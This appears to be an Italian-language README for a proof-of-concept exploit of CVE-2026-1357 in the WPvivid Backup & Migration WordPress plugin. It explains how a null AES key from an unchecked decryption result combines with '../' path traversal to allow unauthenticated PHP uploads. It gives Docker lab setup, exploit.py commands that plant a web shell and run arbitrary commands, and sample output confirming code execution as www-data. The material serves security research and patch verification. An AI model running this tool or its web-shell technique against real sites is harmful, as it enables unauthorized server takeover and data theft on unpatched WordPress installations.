
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non autenticato
Caricamento arbitrario di file senza autenticazione → Esecuzione di codice remoto
| Campo | Valore |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Critico) |
| Plugin | WPvivid Backup & Migration |
| Versioni affette | ≤ 0.9.123 |
| Versione corretta | 0.9.124 |
| Scoperto da | Lucas Montes (NiRoX) |
| PoC di | halilkirazkaya |
Il plugin WPvivid Backup & Migration (≤ 0.9.123) contiene una vulnerabilità critica che consente a un attaccante non autenticato di caricare file PHP arbitrari sul server, portando a Esecuzione di codice remoto (RCE).
La catena di exploit combina due bug:
Il plugin gestisce i trasferimenti di backup remoti tramite l'hook wpvivid_action=send_to_site. Quando decrittografa la chiave di sessione, openssl_private_decrypt() restituisce false per una chiave RSA malformata. Il plugin non controlla questo valore di ritorno e passa false al Crypt_Rijndael di phpseclib v1, che lo tratta come una chiave nulla di 16 byte (\x00 × 16) con modalità CBC e IV nullo.
Il parametro name nel payload JSON decrittografato non viene sanitizzato. Un attaccante può usare sequenze ../ per scrivere un file PHP al di fuori della directory di backup limitata, nella directory pubblicamente accessibile wp-content/uploads/.
Il wpvivid_api_token deve essere stato generato nelle impostazioni del plugin e non deve essere scaduto.
Scarica ed estrai WPvivid Backup & Migration v0.9.123 (versione vulnerabile):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Questo creerà la directory wpvivid-backuprestore/ che viene montata nel container Docker tramite docker-compose.yml.
docker compose up -d
http://localhost e completa l'installazione di WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzalo in modo responsabile.